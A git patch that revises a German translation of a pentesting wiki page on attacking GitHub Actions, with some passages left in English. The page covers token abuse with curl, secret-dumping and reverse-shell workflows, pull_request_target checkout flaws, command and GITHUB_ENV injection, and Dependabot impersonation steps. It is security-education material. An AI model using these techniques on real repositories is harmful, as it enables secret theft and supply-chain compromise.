From 52d03e29169b28fba309a5823e82b4a71ecd0f57 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 21:40:22 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-ci-cd/github-security/basic-github-infor --- .../abusing-github-actions/README.md | 319 ++++++++++-------- .../gh-actions-context-script-injections.md | 95 +++++- .../basic-github-information.md | 262 +++++++------- 3 files changed, 422 insertions(+), 254 deletions(-) diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 5ce57b003..4b9b8be65 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -2,57 +2,57 @@ {{#include ../../../banners/hacktricks-training.md}} -## Werkzeuge +## Tools -Die folgenden Werkzeuge sind nützlich, um Github Action-Workflows zu finden und sogar verwundbare zu identifizieren: +Die folgenden Tools sind nützlich, um Github Action workflows zu finden und sogar verwundbare zu identifizieren: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) -- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Überprüfen Sie auch die Checkliste unter [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) +- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Schau dir auch dessen Checklist an in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) -## Grundinformationen +## Grundlegende Informationen -Auf dieser Seite finden Sie: +Auf dieser Seite findest du: -- Eine **Zusammenfassung aller Auswirkungen**, wenn ein Angreifer Zugriff auf eine Github Action erhält -- Verschiedene Möglichkeiten, um **Zugriff auf eine Action zu erhalten**: -- Berechtigungen, um die Action zu erstellen -- Missbrauch von **Pull-Request**-bezogenen Triggern -- Missbrauch von **anderen externen Zugriffstechniken** +- Eine **Zusammenfassung aller Auswirkungen**, falls ein Angreifer Zugriff auf eine Github Action erlangt +- Verschiedene Wege, **Zugriff auf eine Action zu erhalten**: +- Über **Berechtigungen**, um die Action zu erstellen +- Missbrauch von **pull request**-bezogenen Triggern +- Missbrauch **anderer externer Zugriffstechniken** - **Pivoting** von einem bereits kompromittierten Repo -- Schließlich ein Abschnitt über **Post-Exploitation-Techniken, um eine Action von innen zu missbrauchen** (wegen der genannten Auswirkungen) +- Schließlich ein Abschnitt über **post-exploitation techniques to abuse an action from inside** (um die genannten Auswirkungen zu verursachen) ## Zusammenfassung der Auswirkungen -Für eine Einführung zu [**Github Actions, überprüfen Sie die grundlegenden Informationen**](../basic-github-information.md#github-actions). +Für eine Einführung zu [**Github Actions siehe die Grundinformationen**](../basic-github-information.md#github-actions). -Wenn Sie **beliebigen Code in GitHub Actions** innerhalb eines **Repositories** ausführen können, könnten Sie in der Lage sein zu: +Wenn du **beliebigen Code in GitHub Actions** innerhalb eines **repository** ausführen kannst, könntest du: -- **Geheimnisse** zu stehlen, die in die Pipeline eingebunden sind, und die **Berechtigungen der Pipeline** zu missbrauchen, um unbefugten Zugriff auf externe Plattformen wie AWS und GCP zu erhalten. -- **Deployments** und andere **Artefakte** zu kompromittieren. -- Wenn die Pipeline Assets bereitstellt oder speichert, könnten Sie das Endprodukt ändern, was einen Supply-Chain-Angriff ermöglicht. -- **Code in benutzerdefinierten Workern auszuführen**, um Rechenleistung zu missbrauchen und zu anderen Systemen zu pivotieren. -- **Repository-Code zu überschreiben**, abhängig von den Berechtigungen, die mit dem `GITHUB_TOKEN` verbunden sind. +- **Secrets stehlen**, die an die pipeline gemountet sind, und **die Privilegien der pipeline missbrauchen**, um unautorisierten Zugriff auf externe Plattformen wie AWS und GCP zu erlangen. +- **Deployments kompromittieren** und andere **artifacts**. +- Wenn die pipeline Assets deployt oder speichert, könntest du das Endprodukt verändern und damit einen Supply-Chain-Angriff ermöglichen. +- **Code in custom workers ausführen**, um Rechenleistung zu missbrauchen und auf andere Systeme zu pivoten. +- **Repository code überschreiben**, abhängig von den mit dem `GITHUB_TOKEN` verbundenen Berechtigungen. ## GITHUB_TOKEN -Dieses "**Geheimnis**" (stammend von `${{ secrets.GITHUB_TOKEN }}` und `${{ github.token }}`) wird gegeben, wenn der Administrator diese Option aktiviert: +Dieses "**secret**" (aus `${{ secrets.GITHUB_TOKEN }}` und `${{ github.token }}`) wird vergeben, wenn der Admin diese Option aktiviert:
-Dieses Token ist dasselbe, das eine **Github-Anwendung verwenden wird**, sodass es auf dieselben Endpunkte zugreifen kann: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Dieses Token ist dasselbe, das eine **Github Application** verwenden würde, daher kann es dieselben Endpunkte erreichen: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github sollte einen [**Flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **cross-repository**-Zugriff innerhalb von GitHub ermöglicht, sodass ein Repo auf andere interne Repos mit dem `GITHUB_TOKEN` zugreifen kann. +> Github sollte einen [**flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **cross-repository** Zugriff innerhalb von GitHub erlaubt, sodass ein Repo auf andere interne Repos mit dem `GITHUB_TOKEN` zugreifen kann. -Sie können die möglichen **Berechtigungen** dieses Tokens unter: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) einsehen. +Die möglichen **Berechtigungen** dieses Tokens findest du unter: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Beachten Sie, dass das Token **nach Abschluss des Jobs abläuft**.\ +Beachte, dass das Token **nach Abschluss des Jobs abläuft**.\ Diese Tokens sehen so aus: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Einige interessante Dinge, die Sie mit diesem Token tun können: +Einige interessante Dinge, die du mit diesem Token tun kannst: {{#tabs }} {{#tab name="Merge PR" }} @@ -77,7 +77,7 @@ https://api.github.com/repos///pulls//reviews \ -d '{"event":"APPROVE"}' ``` {{#endtab }} -{{#tab name="PR erstellen" }} +{{#tab name="Create PR" }} ```bash # Create a PR curl -X POST \ @@ -91,11 +91,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Beachten Sie, dass Sie in mehreren Fällen **Github-Benutzertokens in den Umgebungen von Github Actions oder in den Geheimnissen** finden können. Diese Tokens können Ihnen mehr Berechtigungen über das Repository und die Organisation geben. +> Beachte, dass du in mehreren Fällen **github user tokens inside Github Actions envs or in the secrets** finden kannst. Diese Tokens können dir erweiterte Berechtigungen für das Repository und die Organization geben.
-Liste der Geheimnisse im Github Action-Ausgang +Secrets in Github Action output auflisten ```yaml name: list_env on: @@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Erhalte eine Reverse-Shell mit Geheimnissen +Reverse shell mit secrets erhalten ```yaml name: revshell on: @@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-Es ist möglich, die Berechtigungen, die einem Github-Token in den Repositories anderer Benutzer gegeben wurden, **durch Überprüfung der Protokolle** der Aktionen zu überprüfen: +Es ist möglich, die Berechtigungen eines Github Token in Repositories anderer Nutzer zu prüfen, indem man **die Logs der Actions überprüft**:
## Erlaubte Ausführung > [!NOTE] -> Dies wäre der einfachste Weg, Github-Aktionen zu kompromittieren, da dieser Fall voraussetzt, dass Sie **ein neues Repo in der Organisation erstellen** können oder **Schreibrechte über ein Repository** haben. +> Dies wäre der einfachste Weg, Github actions zu kompromittieren, da dieser Fall voraussetzt, dass du die Möglichkeit hast, **ein neues Repo in der organization zu erstellen**, oder **Schreibrechte an einem Repository** hast. > -> Wenn Sie sich in diesem Szenario befinden, können Sie einfach die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) überprüfen. +> Wenn du dich in diesem Szenario befindest, kannst du einfach die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) prüfen. -### Ausführung bei Repo-Erstellung +### Ausführung durch Repo-Erstellung -Falls Mitglieder einer Organisation **neue Repos erstellen** können und Sie Github-Aktionen ausführen können, können Sie **ein neues Repo erstellen und die auf Organisationsebene festgelegten Geheimnisse stehlen**. +Falls Mitglieder einer Organization **create new repos** können und du github actions ausführen kannst, kannst du **ein neues Repo erstellen und die auf organization level gesetzten secrets stehlen**. -### Ausführung von einem neuen Branch +### Ausführung über einen neuen Branch -Wenn Sie **einen neuen Branch in einem Repository erstellen können, das bereits eine konfigurierte Github-Aktion enthält**, können Sie diese **modifizieren**, den Inhalt **hochladen** und dann **diese Aktion vom neuen Branch ausführen**. Auf diese Weise können Sie **Geheimnisse auf Repository- und Organisationsebene exfiltrieren** (aber Sie müssen wissen, wie sie genannt werden). +Wenn du **einen neuen Branch in einem Repository erstellen kannst, das bereits eine konfigurierte Github Action enthält**, kannst du diese **modifizieren**, den Inhalt **hochladen**, und dann **die Action aus dem neuen Branch ausführen**. Auf diese Weise kannst du **exfiltrate repository and organization level secrets** (aber du musst wissen, wie sie genannt werden). -Sie können die modifizierte Aktion **manuell** ausführbar machen, wenn ein **PR erstellt wird** oder wenn **einige Codes gepusht werden** (je nachdem, wie auffällig Sie sein möchten): +> [!WARNING] +> Jede Einschränkung, die nur innerhalb der workflow YAML implementiert ist (zum Beispiel, `on: push: branches: [main]`, job conditionals oder manuelle Gates), kann von Collaborators bearbeitet werden. Ohne externe Durchsetzung (branch protections, protected environments und protected tags) kann ein Contributor einen Workflow so umleiten, dass er auf dessen Branch läuft und gemountete secrets/permissions missbraucht werden. + +Du kannst die modifizierte Action ausführbar machen **manuell,** wenn eine **PR erstellt wird** oder wenn **etwas Code gepusht wird** (je nachdem, wie auffällig du sein willst): ```yaml on: workflow_dispatch: # Launch manually @@ -177,49 +180,49 @@ branches: ``` --- -## Forked Execution +## Forked-Ausführung > [!NOTE] -> Es gibt verschiedene Trigger, die es einem Angreifer ermöglichen könnten, eine **Github Action eines anderen Repositories** **auszuführen**. Wenn diese auslösbaren Aktionen schlecht konfiguriert sind, könnte ein Angreifer in der Lage sein, sie zu kompromittieren. +> Es gibt verschiedene Trigger, die einem Angreifer erlauben könnten, eine **Github Action eines anderen Repositories auszuführen**. Wenn diese triggerbaren Actions schlecht konfiguriert sind, könnte ein Angreifer in der Lage sein, sie zu kompromittieren. ### `pull_request` -Der Workflow-Trigger **`pull_request`** wird den Workflow jedes Mal ausführen, wenn ein Pull-Request empfangen wird, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass Sie **mitarbeiten**, muss ein **Maintainer** den **Lauf** des Workflows **genehmigen**: +Der Workflow-Trigger **`pull_request`** führt den Workflow jedes Mal aus, wenn ein Pull Request eingeht, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass du **mitwirkst**, muss ein **Maintainer** die **Ausführung** des Workflows **freigeben**:
> [!NOTE] -> Da die **Standardbeschränkung** für **Erstbeiträge** gilt, könnten Sie **einen gültigen Bug/Tippfehler beheben** und dann **andere PRs senden, um Ihre neuen `pull_request`-Befugnisse auszunutzen**. +> Da die **Standard-Beschränkung** für **Erstbeitragende** gilt, könntest du zunächst **einen validen Bug/Typo beheben** und dann **weitere PRs senden, um deine neuen `pull_request`-Privilegien zu missbrauchen**. > -> **Ich habe das getestet und es funktioniert nicht**: ~~Eine andere Möglichkeit wäre, ein Konto mit dem Namen von jemandem zu erstellen, der zum Projekt beigetragen hat und dessen Konto gelöscht wurde.~~ +> **Ich habe das getestet und es funktioniert nicht**: ~~Eine andere Option wäre, ein Konto mit dem Namen von jemandem zu erstellen, der zum Projekt beigetragen hat, und sein Konto zu löschen.~~ -Darüber hinaus **verhindert standardmäßig Schreibberechtigungen** und **Zugriff auf Geheimnisse** für das Ziel-Repository, wie in den [**Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt: +Außerdem verhindert es standardmäßig **write permissions** und den **Zugriff auf Secrets** im Ziel-Repository, wie in den [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt: -> Mit Ausnahme von `GITHUB_TOKEN` werden **Geheimnisse nicht an den Runner übergeben**, wenn ein Workflow von einem **forked** Repository ausgelöst wird. Das **`GITHUB_TOKEN` hat nur Lesezugriff** in Pull-Requests **von geforkten Repositories**. +> Mit Ausnahme von `GITHUB_TOKEN` werden **Secrets nicht an den Runner übergeben**, wenn ein Workflow aus einem **forked** Repository ausgelöst wird. Das **`GITHUB_TOKEN` hat nur Lesezugriff** in Pull Requests **aus forked Repositories**. -Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Aktionen anzuhängen. Er wird jedoch nicht in der Lage sein, Geheimnisse zu stehlen oder das Repo zu überschreiben, aufgrund der genannten Einschränkungen. +Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Actions anzuhängen. Allerdings kann er wegen der erwähnten Beschränkungen keine Secrets stehlen oder das Repo überschreiben. > [!CAUTION] -> **Ja, wenn der Angreifer im PR die Github Action ändert, die ausgelöst wird, wird seine Github Action verwendet und nicht die aus dem Ursprungsrepo!** +> **Ja, wenn der Angreifer in dem PR die Github Action ändert, die ausgelöst wird, wird seine Github Action verwendet und nicht die aus dem origin repo!** -Da der Angreifer auch den ausgeführten Code kontrolliert, könnte er beispielsweise **bösartige Artefakte hochladen**, selbst wenn es keine Geheimnisse oder Schreibberechtigungen für das `GITHUB_TOKEN` gibt. +Da der Angreifer auch den auszuführenden Code kontrolliert, könnte er selbst ohne Secrets oder Schreibrechte auf das `GITHUB_TOKEN` zum Beispiel **bösartige Artefakte hochladen**. ### **`pull_request_target`** -Der Workflow-Trigger **`pull_request_target`** hat **Schreibberechtigungen** für das Ziel-Repository und **Zugriff auf Geheimnisse** (und fragt nicht nach Erlaubnis). +Der Workflow-Trigger **`pull_request_target`** hat **write permission** für das Ziel-Repository und **Zugriff auf Secrets** (und fragt nicht nach einer Genehmigung). -Beachten Sie, dass der Workflow-Trigger **`pull_request_target`** **im Basis-Kontext** und nicht im durch den PR gegebenen Kontext ausgeführt wird (um **nicht vertrauenswürdigen Code auszuführen**). Für weitere Informationen zu `pull_request_target` [**überprüfen Sie die Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Darüber hinaus finden Sie weitere Informationen zu dieser spezifischen gefährlichen Verwendung in diesem [**Github-Blogbeitrag**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Beachte, dass der Workflow-Trigger **`pull_request_target`** im Base-Kontext ausgeführt wird und nicht in dem vom PR bereitgestellten Kontext (um **nicht vertrauenswürdigen Code auszuführen**). Für mehr Infos zu `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Außerdem, für mehr Infos zu diesem speziellen gefährlichen Einsatz, siehe [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Es könnte so aussehen, als wäre der **ausgeführte Workflow** der, der im **Basis** definiert ist und **nicht im PR**, was es **sicher** macht, **`pull_request_target`** zu verwenden, aber es gibt **einige Fälle, in denen dies nicht der Fall ist**. +Es könnte so aussehen, dass es sicher ist, **`pull_request_target`** zu verwenden, weil der **ausgeführte Workflow** der ist, der im **base** definiert ist und **nicht im PR**, aber es gibt einige Fälle, in denen das **nicht** zutrifft. -Und dieser hat **Zugriff auf Geheimnisse**. +Und dieser wird **Zugriff auf Secrets** haben. ### `workflow_run` -Der [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) Trigger ermöglicht es, einen Workflow von einem anderen auszuführen, wenn er `completed`, `requested` oder `in_progress` ist. +Der [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) Trigger erlaubt es, einen Workflow von einem anderen auszuführen, wenn dieser `completed`, `requested` oder `in_progress` ist. -In diesem Beispiel ist ein Workflow so konfiguriert, dass er nach dem Abschluss des separaten "Run Tests"-Workflows ausgeführt wird: +In diesem Beispiel ist ein Workflow so konfiguriert, dass er ausgeführt wird, nachdem der separate "Run Tests" Workflow abgeschlossen ist: ```yaml on: workflow_run: @@ -227,37 +230,37 @@ workflows: [Run Tests] types: - completed ``` -Außerdem, laut den Dokumenten: Der durch das `workflow_run`-Ereignis gestartete Workflow kann **Geheimnisse abrufen und Token schreiben, auch wenn der vorherige Workflow dies nicht konnte**. +Außerdem, laut der Dokumentation: Der durch das `workflow_run`-Event gestartete workflow kann **access secrets and write tokens, even if the previous workflow was not**. -Diese Art von Workflow könnte angegriffen werden, wenn sie **von** einem **Workflow** abhängt, der von einem externen Benutzer über **`pull_request`** oder **`pull_request_target`** **ausgelöst** werden kann. Einige anfällige Beispiele können [**in diesem Blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)** gefunden werden.** Der erste besteht darin, dass der durch **`workflow_run`** ausgelöste Workflow den Code des Angreifers herunterlädt: `${{ github.event.pull_request.head.sha }}`\ -Der zweite besteht darin, ein **Artifact** vom **nicht vertrauenswürdigen** Code an den **`workflow_run`**-Workflow zu **übergeben** und den Inhalt dieses Artifacts auf eine Weise zu verwenden, die **anfällig für RCE** ist. +This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}` +The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. ### `workflow_call` TODO -TODO: Überprüfen, ob der verwendete/heruntergeladene Code bei der Ausführung von einem pull_request der aus dem Ursprung oder vom geforkten PR stammt +TODO: Prüfen, ob beim Ausführen aus einem pull_request der verwendete/heruntergeladene Code aus dem Origin-Repo oder aus dem geforkten PR stammt -## Missbrauch von geforkter Ausführung +## Missbrauch von Forked Execution -Wir haben alle Möglichkeiten erwähnt, wie ein externer Angreifer einen GitHub-Workflow zur Ausführung bringen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten: +Wir haben alle Wege erwähnt, wie ein externer Angreifer einen github workflow zur Ausführung bringen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten: -### Unsichere Checkout-Ausführung +### Untrusted checkout execution -Im Fall von **`pull_request`** wird der Workflow im **Kontext des PR** ausgeführt (er wird also den **bösartigen PR-Code** ausführen), aber jemand muss ihn **zuerst autorisieren**, und er wird mit einigen [Einschränkungen](#pull_request) ausgeführt. +Im Fall von **`pull_request`** wird der workflow im **Kontext des PR** ausgeführt (er führt also den **malicious PRs code** aus), aber jemand muss ihn zuerst **autorize** und er läuft mit einigen [Einschränkungen](#pull_request). -Im Fall eines Workflows, der **`pull_request_target` oder `workflow_run`** verwendet und von einem Workflow abhängt, der von **`pull_request_target` oder `pull_request`** ausgelöst werden kann, wird der Code aus dem ursprünglichen Repository ausgeführt, sodass der **Angreifer den ausgeführten Code nicht kontrollieren kann**. +Im Fall eines workflows, der **`pull_request_target` or `workflow_run`** verwendet und von einem workflow abhängt, der durch **`pull_request_target` oder `pull_request`** ausgelöst werden kann, wird der Code aus dem Original-Repo ausgeführt, sodass der **attacker cannot control the executed code**. > [!CAUTION] -> Wenn jedoch die **Aktion** einen **expliziten PR-Checkout** hat, der **den Code vom PR** (und nicht von der Basis) **holt**, wird der vom Angreifer kontrollierte Code verwendet. Zum Beispiel (siehe Zeile 12, wo der PR-Code heruntergeladen wird): +> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): -
# UNSICHER. Nur als Beispiel bereitgestellt.
+
# INSECURE. Provided as an example only.
 on:
 pull_request_target
 
 jobs:
 build:
-name: Build und Test
+name: Build and test
 runs-on: ubuntu-latest
 steps:
     - uses: actions/checkout@v2
@@ -276,35 +279,35 @@ arg1: ${{ secrets.supersecret }}
 - uses: fakerepo/comment-on-pr@v1
 with:
 message: |
-Danke!
+Thank you!
 

 
-Der potenziell **nicht vertrauenswürdige Code wird während `npm install` oder `npm build`** ausgeführt, da die Build-Skripte und die referenzierten **Pakete vom Autor des PR** kontrolliert werden.
+Der potenziell **untrusted code is being run during `npm install` or `npm build`**, da die Build-Skripte und referenzierten **packages are controlled by the author of the PR**.
 
 > [!WARNING]
-> Ein GitHub-Dork, um nach anfälligen Aktionen zu suchen, ist: `event.pull_request pull_request_target extension:yml`, jedoch gibt es verschiedene Möglichkeiten, die Jobs sicher auszuführen, selbst wenn die Aktion unsicher konfiguriert ist (wie die Verwendung von Bedingungen darüber, wer der Akteur ist, der den PR generiert).
+> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
 
-### Kontext-Skript-Injektionen 
+### Context Script Injections 
 
-Beachten Sie, dass es bestimmte [**GitHub-Kontexte**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte vom **Benutzer** erstellt werden, der den PR erstellt. Wenn die GitHub-Aktion diese **Daten verwendet, um irgendetwas auszuführen**, könnte dies zu **willkürlicher Codeausführung** führen:
+Beachte, dass es bestimmte [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte vom **user** erzeugenden PR **controlled** werden. Wenn die github action diese **data to execute anything** verwendet, könnte das zu **arbitrary code execution** führen:
 
 {{#ref}}
 gh-actions-context-script-injections.md
 {{#endref}}
 
-### **GITHUB_ENV Skript-Injektion** 
+### **GITHUB_ENV Script Injection** 
 
-Laut den Dokumenten: Sie können eine **Umgebungsvariable für alle nachfolgenden Schritte** in einem Workflow-Job verfügbar machen, indem Sie die Umgebungsvariable definieren oder aktualisieren und dies in die **`GITHUB_ENV`**-Umgebungsdatei schreiben.
+Laut der Dokumentation: Du kannst eine **environment variable für alle nachfolgenden Schritte** in einem workflow job verfügbar machen, indem du die Environment-Variable definierst oder aktualisierst und dies in die **`GITHUB_ENV`** environment file schreibst.
 
-Wenn ein Angreifer **irgend einen Wert** in diese **env**-Variable **einschleusen** könnte, könnte er Umgebungsvariablen injizieren, die in nachfolgenden Schritten Code ausführen könnten, wie **LD_PRELOAD** oder **NODE_OPTIONS**.
+Wenn ein Angreifer beliebige Werte in diese **env**-Variable **inject** könnte, könnte er Umgebungsvariablen einschleusen, die in nachfolgenden Schritten Code ausführen, z. B. **LD_PRELOAD** oder **NODE_OPTIONS**.
 
-Zum Beispiel ([**dies**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) und [**dies**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stellen Sie sich einen Workflow vor, der ein hochgeladenes Artifact vertraut, um seinen Inhalt in der **`GITHUB_ENV`**-Umgebungsvariable zu speichern. Ein Angreifer könnte etwas wie dies hochladen, um es zu kompromittieren:
+Zum Beispiel (siehe [**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) und [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stell dir einen workflow vor, der einem hochgeladenen artifact vertraut und dessen Inhalt in die **`GITHUB_ENV`** env variable schreibt. Ein Angreifer könnte etwas wie das Folgende hochladen, um es zu kompromittieren:
 
 

 
-### Dependabot und andere vertrauenswürdige Bots
+### Dependabot and other trusted bots
 
-Wie in [**diesem Blogbeitrag**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) angegeben, haben mehrere Organisationen eine GitHub-Aktion, die jeden PR von `dependabot[bot]` zusammenführt, wie in:
+Wie in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) angegeben, haben mehrere Organisationen eine Github Action, die jeden PR von `dependabot[bot]` merged, wie in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-Welches ein Problem darstellt, da das Feld `github.actor` den Benutzer enthält, der das letzte Ereignis verursacht hat, das den Workflow ausgelöst hat. Und es gibt mehrere Möglichkeiten, den Benutzer `dependabot[bot]` dazu zu bringen, einen PR zu ändern. Zum Beispiel:
+Das ist ein Problem, weil das Feld `github.actor` den Benutzer enthält, der das letzte Ereignis verursacht hat, das den Workflow ausgelöst hat. Es gibt mehrere Wege, den Benutzer `dependabot[bot]` dazu zu bringen, einen PR zu verändern. Zum Beispiel:
 
-- Forken Sie das Opfer-Repository
-- Fügen Sie die bösartige Payload zu Ihrer Kopie hinzu
-- Aktivieren Sie Dependabot in Ihrem Fork, indem Sie eine veraltete Abhängigkeit hinzufügen. Dependabot wird einen Branch erstellen, der die Abhängigkeit mit bösartigem Code behebt.
-- Öffnen Sie einen Pull Request zum Opfer-Repository von diesem Branch (der PR wird vom Benutzer erstellt, also wird noch nichts passieren)
-- Dann geht der Angreifer zurück zu dem ursprünglichen PR, den Dependabot in seinem Fork geöffnet hat, und führt `@dependabot recreate` aus
-- Dann führt Dependabot einige Aktionen in diesem Branch aus, die den PR im Opfer-Repo modifizieren, wodurch `dependabot[bot]` der Akteur des letzten Ereignisses wird, das den Workflow ausgelöst hat (und daher der Workflow ausgeführt wird).
+- Forke das Repository des Opfers
+- Füge die bösartige Payload zu deiner Kopie hinzu
+- Aktiviere Dependabot in deinem Fork, indem du eine veraltete Dependency hinzufügst. Dependabot erstellt einen Branch, der die Dependency behebt — mit bösartigem Code.
+- Öffne von diesem Branch einen Pull Request zum Repository des Opfers (der PR wird vom Benutzer erstellt, daher passiert vorerst nichts)
+- Dann geht der Angreifer zurück zum initialen PR, den Dependabot in seinem Fork geöffnet hat, und führt `@dependabot recreate` aus
+- Danach führt Dependabot einige Aktionen in diesem Branch aus, die den PR im Repository des Opfers ändern, wodurch `dependabot[bot]` zum Actor des letzten Ereignisses wird, das den Workflow auslöste (und damit der Workflow ausgeführt wird).
 
-Kommen wir nun dazu, was wäre, wenn anstelle des Zusammenführens die Github Action eine Befehlsinjektion hätte wie in:
+Weiterhin: was wäre, wenn statt des Mergings die Github Action eine command injection hätte, wie in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-Nun, der ursprüngliche Blogbeitrag schlägt zwei Optionen vor, um dieses Verhalten auszunutzen, wobei die zweite ist:
+Nun, der ursprüngliche Blogpost schlägt zwei Optionen vor, dieses Verhalten auszunutzen — die zweite ist:
 
-- Forken Sie das Opfer-Repository und aktivieren Sie Dependabot mit einer veralteten Abhängigkeit.
-- Erstellen Sie einen neuen Branch mit dem bösartigen Shell-Injektionscode.
-- Ändern Sie den Standardbranch des Repos auf diesen.
-- Erstellen Sie einen PR von diesem Branch zum Opfer-Repository.
-- Führen Sie `@dependabot merge` im PR aus, den Dependabot in seinem Fork geöffnet hat.
-- Dependabot wird seine Änderungen im Standardbranch Ihres geforkten Repositories zusammenführen und den PR im Opfer-Repository aktualisieren, wodurch `dependabot[bot]` der Akteur des letzten Ereignisses wird, das den Workflow ausgelöst hat, und einen bösartigen Branch-Namen verwendet.
+- Fork the victim repository and enable Dependabot with some outdated dependency.
+- Create a new branch with the malicious shell injeciton code.
+- Change the default branch of the repo to that one
+- Create a PR from this branch to the victim repository.
+- Run `@dependabot merge` in the PR Dependabot opened in his fork.
+- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
 
-### Verwundbare Drittanbieter Github Actions
+### Verwundbare Third Party Github Actions
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-Wie in [**diesem Blogbeitrag**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) erwähnt, ermöglicht diese Github Action den Zugriff auf Artefakte aus verschiedenen Workflows und sogar Repositories.
+Wie in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) erwähnt, erlaubt diese Github Action den Zugriff auf artifacts aus verschiedenen Workflows und sogar Repositories.
 
-Das Problem ist, dass, wenn der **`path`** Parameter nicht gesetzt ist, das Artefakt im aktuellen Verzeichnis extrahiert wird und Dateien überschreiben kann, die später im Workflow verwendet oder sogar ausgeführt werden könnten. Daher könnte ein Angreifer, wenn das Artefakt verwundbar ist, dies ausnutzen, um andere Workflows zu kompromittieren, die dem Artefakt vertrauen.
